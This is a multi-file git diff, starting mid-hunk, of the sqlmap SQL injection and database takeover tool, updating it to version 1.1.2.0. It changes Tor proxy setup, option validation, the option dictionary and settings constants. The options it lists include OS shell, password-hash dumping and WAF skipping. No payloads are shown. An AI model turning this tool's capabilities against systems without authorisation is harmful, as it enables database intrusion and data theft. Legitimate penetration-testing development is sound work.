-        except socket.error:
-            pass
-
-    s.close()
-
-    if found:
-        conf.proxy = "http://%s:%d" % (LOCALHOST, found)
+    if port:
+        conf.proxy = "http://%s:%d" % (LOCALHOST, port)
    else:
-        errMsg = "can't establish connection with the Tor proxy. "
-        errMsg += "Please make sure that you have Vidalia, Privoxy or "
-        errMsg += "Polipo bundle installed for you to be able to "
-        errMsg += "successfully use switch '--tor' "
+        errMsg = "can't establish connection with the Tor HTTP proxy. "
+        errMsg += "Please make sure that you have Tor (bundle) installed and setup "
+        errMsg += "so you could be able to successfully use switch '--tor' "

        raise SqlmapConnectionException(errMsg)

@@ -2271,8 +2364,17 @@ def _setTorSocksProxySettings():
    infoMsg = "setting Tor SOCKS proxy settings"
    logger.info(infoMsg)

-    # Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
-    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT)
+    port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,))
+
+    if not port:
+        errMsg = "can't establish connection with the Tor SOCKS proxy. "
+        errMsg += "Please make sure that you have Tor service installed and setup "
+        errMsg += "so you could be able to successfully use switch '--tor' "
+
+        raise SqlmapConnectionException(errMsg)
+
+    # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
+    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port)
    socks.wrapmodule(urllib2)

 def _checkWebSocket():
@@ -2297,7 +2399,7 @@ def _checkTor():
        page = None

    if not page or 'Congratulations' not in page:
-        errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
+        errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'"
        raise SqlmapConnectionException(errMsg)
    else:
        infoMsg = "Tor is properly being used"
@@ -2330,14 +2432,14 @@ def _basicOptionValidation():
        errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option"
        raise SqlmapSyntaxException(errMsg)

-    if isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0):
-        errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]"
-        raise SqlmapSyntaxException(errMsg)
-
    if conf.textOnly and conf.nullConnection:
        errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
        raise SqlmapSyntaxException(errMsg)

+    if conf.eta and conf.verbose > defaults.verbose:
+        errMsg = "switch '--eta' is incompatible with option '-v'"
+        raise SqlmapSyntaxException(errMsg)
+
    if conf.direct and conf.url:
        errMsg = "option '-d' is incompatible with option '-u' ('--url')"
        raise SqlmapSyntaxException(errMsg)
@@ -2385,14 +2487,14 @@ def _basicOptionValidation():
    if conf.regexp:
        try:
            re.compile(conf.regexp)
-        except re.error, ex:
+        except Exception, ex:
            errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

    if conf.crawlExclude:
        try:
            re.compile(conf.crawlExclude)
-        except re.error, ex:
+        except Exception, ex:
            errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

@@ -2533,11 +2635,9 @@ def _resolveCrossReferences():
    lib.request.connect.setHTTPHandlers = _setHTTPHandlers
    lib.utils.search.setHTTPHandlers = _setHTTPHandlers
    lib.controller.checks.setVerbosity = setVerbosity
+    lib.controller.checks.setWafFunctions = _setWafFunctions

 def initOptions(inputOptions=AttribDict(), overrideOptions=False):
-    if IS_WIN:
-        coloramainit()
-
    _setConfAttributes()
    _setKnowledgeBaseAttributes()
    _mergeOptions(inputOptions, overrideOptions)
@@ -2553,6 +2653,7 @@ def init():
    _saveConfig()
    _setRequestFromFile()
    _cleanupOptions()
+    _cleanupEnvironment()
    _dirtyPatches()
    _purgeOutput()
    _checkDependencies()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -38,10 +38,13 @@ optDict = {
                               "authType":          "string",
                               "authCred":          "string",
                               "authFile":          "string",
+                               "ignore401":         "boolean",
+                               "ignoreProxy":       "boolean",
+                               "ignoreRedirects":   "boolean",
+                               "ignoreTimeouts":    "boolean",
                               "proxy":             "string",
                               "proxyCred":         "string",
                               "proxyFile":         "string",
-                               "ignoreProxy":       "boolean",
                               "tor":               "boolean",
                               "torPort":           "integer",
                               "torType":           "string",
@@ -74,7 +77,8 @@ optDict = {
                               "testParameter":     "string",
                               "skip":              "string",
                               "skipStatic":        "boolean",
-                               "dbms":              "string",
+                               "skip":              "string",
+                               "paramExclude":      "string",
                               "dbmsCred":          "string",
                               "os":                "string",
                               "invalidBignum":     "boolean",
@@ -104,7 +108,7 @@ optDict = {
                               "uCols":             "string",
                               "uChar":             "string",
                               "uFrom":             "string",
-                               "dnsName":           "string",
+                               "dnsDomain":         "string",
                               "secondOrder":       "string",
                             },

@@ -136,6 +140,7 @@ optDict = {
                               "tbl":               "string",
                               "col":               "string",
                               "excludeCol":        "string",
+                               "pivotColumn":       "string",
                               "dumpWhere":         "string",
                               "user":              "string",
                               "excludeSysDbs":     "boolean",
@@ -189,6 +194,7 @@ optDict = {
                               #"xmlFile":           "string",
                               "trafficFile":       "string",
                               "batch":             "boolean",
+                               "binaryFields":      "string",
                               "charset":           "string",
                               "crawlDepth":        "integer",
                               "crawlExclude":      "string",
@@ -201,7 +207,6 @@ optDict = {
                               "hexConvert":        "boolean",
                               "outputDir":         "string",
                               "parseErrors":       "boolean",
-                               "pivotColumn":       "string",
                               "saveConfig":        "string",
                               "scope":             "string",
                               "testFilter":        "string",
@@ -217,24 +222,23 @@ optDict = {
                               "dependencies":      "boolean",
                               "disableColoring":   "boolean",
                               "googlePage":        "integer",
+                               "identifyWaf":       "boolean",
                               "mobile":            "boolean",
                               "offline":           "boolean",
                               "pageRank":          "boolean",
                               "purgeOutput":       "boolean",
+                               "skipWaf":           "boolean",
                               "smart":             "boolean",
+                               "tmpDir":            "string",
                               "wizard":            "boolean",
                               "verbose":           "integer",
                             },
            "Hidden": {
                               "dummy":             "boolean",
                               "disablePrecon":     "boolean",
-                               "binaryFields":      "string",
                               "profile":           "boolean",
-                               "cpuThrottle":       "integer",
                               "forceDns":          "boolean",
-                               "identifyWaf":       "boolean",
-                               "skipWaf":           "boolean",
-                               "ignore401":         "boolean",
+                               "murphyRate":        "integer",
                               "smokeTest":         "boolean",
                               "liveTest":          "boolean",
                               "stopFail":          "boolean",
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -75,6 +75,11 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
    # Create graph image (png) by using pydot (python-pydot)
    # http://code.google.com/p/pydot/
    pydotGraph = pydot.graph_from_dot_file(dotOutputFile)
+
+    # Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ
+    if isinstance(pydotGraph, list):
+        pydotGraph = pydotGraph[0]
+
    pydotGraph.write_png(imageOutputFile)

    infoMsg = "displaying interactive graph with xdot library"
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -10,6 +10,7 @@ import sqlite3
 from extra.safe2bin.safe2bin import safechardecode
 from lib.core.common import getSafeExString
 from lib.core.common import unsafeSQLIdentificatorNaming
+from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import UNICODE_ENCODING
@@ -21,10 +22,15 @@ class Replication(object):
    """

    def __init__(self, dbpath):
-        self.dbpath = dbpath
-        self.connection = sqlite3.connect(dbpath)
-        self.connection.isolation_level = None
-        self.cursor = self.connection.cursor()
+        try:
+            self.dbpath = dbpath
+            self.connection = sqlite3.connect(dbpath)
+            self.connection.isolation_level = None
+            self.cursor = self.connection.cursor()
+        except sqlite3.OperationalError, ex:
+            errMsg = "error occurred while opening a replication "
+            errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
+            raise SqlmapConnectionException(errMsg)

    class DataType:
        """
@@ -1,15 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import os
 import re
-
-from subprocess import PIPE
-from subprocess import Popen as execute
+import subprocess

 def getRevisionNumber():
    """
@@ -46,7 +44,7 @@ def getRevisionNumber():
            break

    if not retVal:
-        process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE)
+        process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, _ = process.communicate()
        match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
        retVal = match.group(0) if match else None
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -26,12 +26,14 @@ def setDbms(dbms):
    hashDBWrite(HASHDB_KEYS.DBMS, dbms)

    _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
-    _ = re.search("^%s" % _, dbms, re.I)
+    _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)

    if _:
        dbms = _.group(1)

    Backend.setDbms(dbms)
+    if kb.resolutionDbms:
+        hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms)

    logger.info("the back-end DBMS is %s" % Backend.getDbms())

@@ -1,28 +1,28 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import os
+import random
 import re
 import subprocess
 import string
 import sys
-import time
 import types

 from lib.core.datatype import AttribDict
 from lib.core.enums import DBMS
 from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
-from lib.core.revision import getRevisionNumber

-# sqlmap version and site
-VERSION = "1.0-stable"
-REVISION = getRevisionNumber()
-VERSION_STRING = "sqlmap/%s" % VERSION
+# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
+VERSION = "1.1.2.0"
+TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
+TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
+VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
 DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
@@ -30,21 +30,23 @@ GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"

 # colorful banner
-BANNER = """\033[01;33m         _
- ___ ___| |_____ ___ ___  \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
-|_ -| . | |     | .'| . |
-|___|_  |_|_|_|_|__,|  _|
-      |_|           |_|   \033[0m\033[4;37m%s\033[0m\n
-""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE)
+BANNER = """\033[01;33m\
+        ___
+       __H__
+ ___ ___[.]_____ ___ ___  \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
+|_ -| . [.]     | .'| . |
+|___|_  [.]_|_|_|__,|  _|
+      |_|V          |_|   \033[0m\033[4;37m%s\033[0m\n
+""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)

 # Minimum distance of ratio from kb.matchRatio to result in True
 DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9

-# Ratio used in heuristic check for WAF/IDS/IPS protected targets
+# Ratio used in heuristic check for WAF/IPS/IDS protected targets
 IDS_WAF_CHECK_RATIO = 0.5

-# Timeout used in heuristic check for WAF/IDS/IPS protected targets
+# Timeout used in heuristic check for WAF/IPS/IDS protected targets
 IDS_WAF_CHECK_TIMEOUT = 10

 # Lower and upper values for match ratio in case of stable page
@@ -60,14 +62,19 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
 ASTERISK_MARKER = "__ASTERISK_MARK__"
 REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
+BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"

 RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
+SLEEP_TIME_MARKER = "[SLEEPTIME]"

 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
 PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"

+# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
+SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
+
 # Regular expression used for recognition of textual content-type
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"

@@ -77,6 +84,15 @@ PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
 # Regular expression used for recognition of generic maximum connection messages
 MAX_CONNECTIONS_REGEX = r"max.+connections"

+# Maximum consecutive connection errors before asking the user if he wants to continue
+MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
+
+# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
+PRECONNECT_CANDIDATE_TIMEOUT = 10
+
+# Maximum sleep time in "Murphy" (testing) mode
+MAX_MURPHY_SLEEP_TIME = 3
+
 # Regular expression used for extracting results from Google search
 GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&amp;cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"

@@ -87,7 +103,7 @@ DUCKDUCKGO_REGEX = r'"u":"([^"]+)'
 DISCONNECT_SEARCH_REGEX = r'<p class="url wrapword">([^<]+)</p>'

 # Dummy user agent for search (if default one returns different results)
-DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0"
+DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"

 # Regular expression used for extracting content from "textual" tags
 TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
@@ -121,7 +137,7 @@ UNION_STDEV_COEFF = 7
 TIME_DELAY_CANDIDATES = 3

 # Default value for HTTP Accept header
-HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
+HTTP_ACCEPT_HEADER_VALUE = "*/*"

 # Default value for HTTP Accept-Encoding header
 HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
@@ -129,6 +145,9 @@ HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
 # Default timeout for running commands over backdoor
 BACKDOOR_RUN_CMD_TIMEOUT = 5

+# Number of seconds to wait for thread finalization at program end
+THREAD_FINALIZATION_TIMEOUT = 1
+
 # Maximum number of techniques used in inject.py/getValue() per one value
 MAX_TECHNIQUES_PER_VALUE = 2

@@ -138,6 +157,9 @@ MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
 # Suffix used for naming meta databases in DBMS(es) without explicit database name
 METADB_SUFFIX = "_masterdb"

+# Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt)
+PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
+
 # Minimum time response set needed for time-comparison based on standard deviation
 MIN_TIME_RESPONSES = 30

@@ -186,26 +208,20 @@ PYVERSION = sys.version.split()[0]

 # DBMS system databases
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
-MYSQL_SYSTEM_DBS = ("information_schema", "mysql")                   # Before MySQL 5.0 only "mysql"
-PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast")
-ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB")                      # These are TABLESPACE_NAME
+MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
+PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
+ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL")  # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ 
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
-ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\
-                        "MSysAccessXML", "MSysModules", "MSysModules2")
-FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\
-                        "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\
-                        "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\
-                        "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\
-                        "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
-                        "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
+ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
+FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
 MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
-DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\
-                   "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
+DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")

 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
-MYSQL_ALIASES = ("mysql", "my")
+MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
 PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
 ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
@@ -215,10 +231,11 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
+INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")

 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))

-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
 SUPPORTED_OS = ("linux", "windows")

 DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
@@ -234,39 +251,39 @@ WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "C

 # Items displayed in basic help (-h) output
 BASIC_HELP_ITEMS = (
-                        "url",
-                        "googleDork",
-                        "data",
-                        "cookie",
-                        "randomAgent",
-                        "proxy",
-                        "testParameter",
-                        "dbms",
-                        "level",
-                        "risk",
-                        "tech",
-                        "getAll",
-                        "getBanner",
-                        "getCurrentUser",
-                        "getCurrentDb",
-                        "getPasswordHashes",
-                        "getTables",
-                        "getColumns",
-                        "getSchema",
-                        "dumpTable",
-                        "dumpAll",
-                        "db",
-                        "tbl",
-                        "col",
-                        "osShell",
-                        "osPwn",
-                        "batch",
-                        "checkTor",
-                        "flushSession",
-                        "tor",
-                        "sqlmapShell",
-                        "wizard",
-                   )
+    "url",
+    "googleDork",
+    "data",
+    "cookie",
+    "randomAgent",
+    "proxy",
+    "testParameter",
+    "dbms",
+    "level",
+    "risk",
+    "tech",
+    "getAll",
+    "getBanner",
+    "getCurrentUser",
+    "getCurrentDb",
+    "getPasswordHashes",
+    "getTables",
+    "getColumns",
+    "getSchema",
+    "dumpTable",
+    "dumpAll",
+    "db",
+    "tbl",
+    "col",
+    "osShell",
+    "osPwn",
+    "batch",
+    "checkTor",
+    "flushSession",
+    "tor",
+    "sqlmapShell",
+    "wizard",
+)

 # String representation for NULL value
 NULL = "NULL"
@@ -277,13 +294,19 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"

+# Regular expressions used for finding file paths in error messages
+FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P<result>[^<>]+?) on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
-                          r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-                          r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>.+?)$",
-                          r"<li>Error Type:<br>(?P<result>.+?)</li>",
-                          r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
-                        )
+    r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
+    r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
+    r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
+    r"<li>Error Type:<br>(?P<result>.+?)</li>",
+    r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
+    r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
+    r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
+)

 # Regular expression used for parsing charset info from meta html headers
 META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
@@ -309,9 +332,6 @@ BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}"
 # Regex used for parsing XML Burp saved history items
 BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'

-# Server header in CloudFlare responses
-CLOUDFLARE_SERVER_HEADER = "cloudflare-nginx"
-
 # Encoding used for Unicode data
 UNICODE_ENCODING = "utf8"

@@ -324,6 +344,9 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 # Regex used for masking sensitive data
 SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"

+# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
+SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
+
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10

@@ -379,10 +402,10 @@ HASH_MOD_ITEM_DISPLAY = 11
 MAX_INT = sys.maxint

 # Options that need to be restored in multiple targets run mode
-RESTORE_MERGED_OPTIONS = ("col", "db", "dnsName", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
+RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")

 # Parameters to be ignored in detection phase (upper case)
-IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")
+IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN")

